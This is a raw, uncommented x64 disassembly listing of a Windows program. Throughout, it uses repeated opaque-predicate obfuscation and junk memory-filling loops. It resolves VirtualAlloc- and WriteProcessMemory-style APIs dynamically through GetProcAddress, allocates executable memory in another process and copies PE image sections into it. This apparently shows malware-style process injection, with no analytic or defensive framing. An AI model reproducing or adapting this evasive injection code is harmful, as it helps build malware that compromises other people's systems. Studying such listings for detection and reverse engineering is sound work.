movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140004fd5
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140004fd5
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140007289
jp 0x140007289
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140004f67
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
lea rdx, [0x14011f4f0]
movapd xmm0, xmmword [str.VirtualATerminateProcess]
movapd xmmword [rsp + 0x410], xmm0
movabs rcx, 0x63006f006c006c
mov qword [rsp + 0x420], rcx
mov dword [rsp + 0x428], 0x780045
mov word [rsp + 0x42c], 0
lea rcx, [rsp + 0x410]
call qword [rdx + rax*8]
mov rcx, r14
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400064ac
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x41e], xmm0
movapd xmmword [rsp + 0x410], xmm0
mov rcx, qword [rsp + 0xf0]
mov edx, dword [rbp + 0x34]
mov r8d, dword [rbp + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call rax
mov qword [rsp + 0xe0], rax
test rax, rax
jne 0x140005af7
movups xmm0, xmmword [0x1401a3b3c]
movaps xmmword [rsp + 0x140], xmm0
movupd xmm0, xmmword [0x1401a3b2c]
movapd xmmword [rsp + 0x130], xmm0
mov word [rsp + 0x150], 0x48
lea rcx, [0x14011d5f8]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x140009513
lea rcx, [0x14011d5d8]
call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
je 0x140005423
mov r8d, dword [rcx]
jmp 0x140005a62
ucomisd xmm1, qword [0x14012b198]
jne 0x1400070cd
jp 0x1400070cd
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140002c47
ucomisd xmm1, qword [0x14012b198]
jne 0x1400070d7
jp 0x1400070d7
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si r9d, xmm0
jmp 0x140002fa8
ucomisd xmm1, qword [0x14012b198]
jne 0x1400070e2
jp 0x1400070e2
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x1400030a7
ucomisd xmm1, qword [0x14012b198]
jne 0x1400070ec
jp 0x1400070ec
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x1400031d7
ucomisd xmm1, qword [0x14012b198]
jne 0x1400070f6
jp 0x1400070f6
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140003387
ucomisd xmm1, qword [0x14012b198]
jne 0x140007100
jp 0x140007100
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si r9d, xmm0
jmp 0x1400036e8
ucomisd xmm1, qword [0x14012b198]
jne 0x14000710b
jp 0x14000710b
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x1400037e7
ucomisd xmm1, qword [0x14012b198]
jne 0x140007115
jp 0x140007115
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140003917
ucomisd xmm1, qword [0x14012b198]
jne 0x14000719f
jp 0x14000719f
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140003bb7
ucomisd xmm1, qword [0x14012b198]
jne 0x1400071a9
jp 0x1400071a9
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si r9d, xmm0
jmp 0x140003f18
ucomisd xmm1, qword [0x14012b198]
jne 0x1400071b4
jp 0x1400071b4
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140004017
ucomisd xmm1, qword [0x14012b198]
jne 0x1400071be
jp 0x1400071be
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140004147
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x140005533
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e8]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400054f7
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400054f7
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140008cfd
jp 0x140008cfd
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140005492
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140005953
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x140005664
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1f0]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140005628
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140005628
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140008e94
jp 0x140008e94
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400055c3
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x14000576e
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b210]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140005732
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140005732
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140008ecb
jp 0x140008ecb
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400056cd
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e0]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140005820
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140005820
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140008d34
jp 0x140008d34
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400057bb
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b1e0]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000590f
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000590f
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140008d6c
jp 0x140008d6c
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400058aa
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x140005a62
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b230]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140005a26
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140005a26
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm1, xmm0
jne 0x140008da3
jp 0x140008da3
movsd qword [rsp + 0x60], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400059c1
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
lea rdx, [0x14011f630]
movaps xmm0, xmmword [0x14012b250]
movaps xmmword [rsp + 0x130], xmm0
movapd xmm0, xmmword [0x14012b260]
movapd xmmword [rsp + 0x140], xmm0
mov word [rsp + 0x150], 0
lea rcx, [rsp + 0x130]
call qword [rdx + rax*8]
mov rcx, r14
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400064ac
mov rcx, qword [rsp + 0xf0]
xor edx, edx
call rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xorpd xmm0, xmm0
movapd xmmword [rsp + 0x130], xmm0
movapd xmmword [rsp + 0x140], xmm0
mov word [rsp + 0x150], 0
mov rcx, rbx
call fcn.140002560
mov esi, 0x2dd5
movapd xmm6, xmmword [0x14012b270]
nop word cs:[rax + rax]
mov ecx, 0xea60
call fcn.1400dc7d0
movupd xmmword [rax], xmm6
movupd xmmword [rax + 0x10], xmm6
movupd xmmword [rax + 0x20], xmm6
movupd xmmword [rax + 0x30], xmm6
movupd xmmword [rax + 0x40], xmm6
movupd xmmword [rax + 0x50], xmm6
movupd xmmword [rax + 0x60], xmm6
movupd xmmword [rax + 0x70], xmm6
mov rcx, rax
call fcn.1400dc7a0
dec esi
jne 0x140005b10
movups xmm0, xmmword [0x1401a3b5e]
movaps xmmword [rsp + 0x480], xmm0
movupd xmm0, xmmword [0x1401a3b4e]
movapd xmmword [rsp + 0x470], xmm0
movabs rax, 0x4a0030003a0028
mov qword [rsp + 0x48e], rax
mov eax, dword [rsp + 0xe0]
sub eax, dword [rbp + 0x34]
mov dword [rsp + 0x12c], eax
lea rcx, [0x14011d638]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x1400094ad
lea rcx, [0x14011d618]
call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
je 0x140005bc2
mov r8d, dword [rcx]
jmp 0x14000625b
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x140005ce1
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b230]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140005ca2
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140005ca2
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140008a65
jp 0x140008a65
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140005c34
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000613d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x140005e21
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b280]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140005de2
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140005de2
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140008c7d
jp 0x140008c7d
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140005d74
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x140005f3a
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b288]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140005efb
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140005efb
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140008cbd
jp 0x140008cbd
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140005e8d
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b210]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140005ff8
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140005ff8
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140008aa5
jp 0x140008aa5
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140005f8a
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b210]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400060f6
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400060f6
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140008ae6
jp 0x140008ae6
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140006088
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x14000625b
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b290]
movsd qword [rsp + 0x130], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x14000621c
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x14000621c
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
jne 0x140008b26
jp 0x140008b26
movsd qword [rsp + 0x130], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400061ae
movsd xmm0, qword [rsp + 0x130]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
mov byte [rcx + 4], 1
mov eax, r8d
lea rdx, [0x14011f6d0]
movaps xmm0, xmmword [str.WriteProcessMemo]
movaps xmmword [rsp + 0x470], xmm0
movapd xmm0, xmmword [0x14012b2b0]
movapd xmmword [rsp + 0x480], xmm0
mov dword [rsp + 0x490], 0x790072
mov word [rsp + 0x494], 0
lea rcx, [rsp + 0x470]
call qword [rdx + rax*8]
mov rcx, r14
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test r13b, r13b
je 0x1400062d2
mov rdx, qword [rsp + 0xe0]
mov dword [rbp + 0x34], edx
mov rcx, qword [rsp + 0xf0]
jmp 0x1400062e2
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xe0]
mov r9d, dword [rbp + 0x54]
mov qword [rsp + 0x20], 0
mov r8, rbx
call r15
test rax, rax
je 0x1400064ac
mov esi, 0x2cc3
movapd xmm6, xmmword [0x14012b2c0]
movabs rdi, 0x1a0500001a05
nop word cs:[rax + rax]
mov ecx, 0xea60
call fcn.1400dc7d0
movupd xmmword [rax], xmm6
movupd xmmword [rax + 0x10], xmm6
movupd xmmword [rax + 0x20], xmm6
movupd xmmword [rax + 0x30], xmm6
movupd xmmword [rax + 0x40], xmm6
movupd xmmword [rax + 0x50], xmm6
movupd xmmword [rax + 0x60], xmm6
movupd xmmword [rax + 0x70], xmm6
movupd xmmword [rax + 0x80], xmm6
movupd xmmword [rax + 0x90], xmm6
movupd xmmword [rax + 0xa0], xmm6
movupd xmmword [rax + 0xb0], xmm6
movupd xmmword [rax + 0xc0], xmm6
movupd xmmword [rax + 0xd0], xmm6
movupd xmmword [rax + 0xe0], xmm6
movupd xmmword [rax + 0xf0], xmm6
movupd xmmword [rax + 0x100], xmm6
movupd xmmword [rax + 0x110], xmm6
movupd xmmword [rax + 0x120], xmm6
movupd xmmword [rax + 0x130], xmm6
movupd xmmword [rax + 0x140], xmm6
movupd xmmword [rax + 0x150], xmm6
movupd xmmword [rax + 0x160], xmm6
mov qword [rax + 0x170], rdi
mov dword [rax + 0x178], 0x1a05
mov rcx, rax
call fcn.1400dc7a0
dec esi
jne 0x140006320
mov esi, dword [rbp + 0xa0]
test esi, esi
je 0x140006403
mov eax, dword [rbp + 0xa4]
mov dword [rsp + 0xec], eax
jmp 0x14000640e
mov dword [rsp + 0xec], 0
movzx eax, word [rbp + 6]
test r13b, r13b
je 0x140006515
test ax, ax
je 0x1400064ac
mov qword [rsp + 0x118], r14
lea rdi, [rbx + r12]
add rdi, 0x18
xor r14d, r14d
mov rcx, rbp
xor ebp, ebp
mov qword [rsp + 0x110], rcx
movzx ecx, word [rcx + 0x14]
